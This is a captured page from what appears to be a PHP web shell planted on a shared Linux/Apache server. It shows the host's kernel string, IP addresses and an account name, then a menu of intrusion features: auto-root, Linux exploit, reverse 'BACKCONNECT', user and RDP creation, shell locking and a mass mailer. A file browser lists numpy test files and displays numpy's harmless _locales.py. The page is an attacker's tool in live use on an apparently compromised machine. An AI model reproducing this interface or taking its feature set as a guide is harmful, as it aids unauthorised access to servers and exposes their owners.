Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
numpy /
core /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
examples
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
_locales.py
2.14
KB
-rw-r--r--
test__exceptions.py
1.96
KB
-rw-r--r--
test_abc.py
2.27
KB
-rw-r--r--
test_api.py
21.76
KB
-rw-r--r--
test_argparse.py
1.93
KB
-rw-r--r--
test_array_coercion.py
27.27
KB
-rw-r--r--
test_arraymethod.py
2.34
KB
-rw-r--r--
test_arrayprint.py
36.3
KB
-rw-r--r--
test_casting_unittests.py
27.19
KB
-rw-r--r--
test_conversion_utils.py
6.26
KB
-rw-r--r--
test_cpu_dispatcher.py
1.48
KB
-rw-r--r--
test_cpu_features.py
6.62
KB
-rw-r--r--
test_cython.py
3.45
KB
-rw-r--r--
test_datetime.py
109.93
KB
-rw-r--r--
test_defchararray.py
24.01
KB
-rw-r--r--
test_deprecations.py
44.47
KB
-rw-r--r--
test_dtype.py
59.15
KB
-rw-r--r--
test_einsum.py
47.9
KB
-rw-r--r--
test_errstate.py
2.02
KB
-rw-r--r--
test_extint128.py
5.51
KB
-rw-r--r--
test_function_base.py
14.07
KB
-rw-r--r--
test_getlimits.py
4.2
KB
-rw-r--r--
test_half.py
23.26
KB
-rw-r--r--
test_indexerrors.py
5.01
KB
-rw-r--r--
test_indexing.py
52.71
KB
-rw-r--r--
test_item_selection.py
3.5
KB
-rw-r--r--
test_longdouble.py
12.74
KB
-rw-r--r--
test_machar.py
1.04
KB
-rw-r--r--
test_mem_overlap.py
28.4
KB
-rw-r--r--
test_memmap.py
7.29
KB
-rw-r--r--
test_multiarray.py
328.73
KB
-rw-r--r--
test_nditer.py
124.75
KB
-rw-r--r--
test_numeric.py
132.07
KB
-rw-r--r--
test_numerictypes.py
20.36
KB
-rw-r--r--
test_overrides.py
19.66
KB
-rw-r--r--
test_print.py
6.58
KB
-rw-r--r--
test_protocols.py
1.14
KB
-rw-r--r--
test_records.py
19.79
KB
-rw-r--r--
test_regression.py
88.97
KB
-rw-r--r--
test_scalar_ctors.py
3.6
KB
-rw-r--r--
test_scalar_methods.py
4
KB
-rw-r--r--
test_scalarbuffer.py
5.5
KB
-rw-r--r--
test_scalarinherit.py
2.35
KB
-rw-r--r--
test_scalarmath.py
31.92
KB
-rw-r--r--
test_scalarprint.py
18.21
KB
-rw-r--r--
test_shape_base.py
26.61
KB
-rw-r--r--
test_simd.py
34.55
KB
-rw-r--r--
test_simd_module.py
3.67
KB
-rw-r--r--
test_ufunc.py
92.25
KB
-rw-r--r--
test_umath.py
137.25
KB
-rw-r--r--
test_umath_accuracy.py
3.04
KB
-rw-r--r--
test_umath_complex.py
22.76
KB
-rw-r--r--
test_unicode.py
12.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _locales.py
"""Provide class for testing in French locale """ import sys import locale import pytest __ALL__ = ['CommaDecimalPointLocale'] def find_comma_decimal_point_locale(): """See if platform has a decimal point as comma locale. Find a locale that uses a comma instead of a period as the decimal point. Returns ------- old_locale: str Locale when the function was called. new_locale: {str, None) First French locale found, None if none found. """ if sys.platform == 'win32': locales = ['FRENCH'] else: locales = ['fr_FR', 'fr_FR.UTF-8', 'fi_FI', 'fi_FI.UTF-8'] old_locale = locale.getlocale(locale.LC_NUMERIC) new_locale = None try: for loc in locales: try: locale.setlocale(locale.LC_NUMERIC, loc) new_locale = loc break except locale.Error: pass finally: locale.setlocale(locale.LC_NUMERIC, locale=old_locale) return old_locale, new_locale class CommaDecimalPointLocale: """Sets LC_NUMERIC to a locale with comma as decimal point. Classes derived from this class have setup and teardown methods that run tests with locale.LC_NUMERIC set to a locale where commas (',') are used as the decimal point instead of periods ('.'). On exit the locale is restored to the initial locale. It also serves as context manager with the same effect. If no such locale is available, the test is skipped. .. versionadded:: 1.15.0 """ (cur_locale, tst_locale) = find_comma_decimal_point_locale() def setup(self): if self.tst_locale is None: pytest.skip("No French locale available") locale.setlocale(locale.LC_NUMERIC, locale=self.tst_locale) def teardown(self): locale.setlocale(locale.LC_NUMERIC, locale=self.cur_locale) def __enter__(self): if self.tst_locale is None: pytest.skip("No French locale available") locale.setlocale(locale.LC_NUMERIC, locale=self.tst_locale) def __exit__(self, type, value, traceback): locale.setlocale(locale.LC_NUMERIC, locale=self.cur_locale)
Close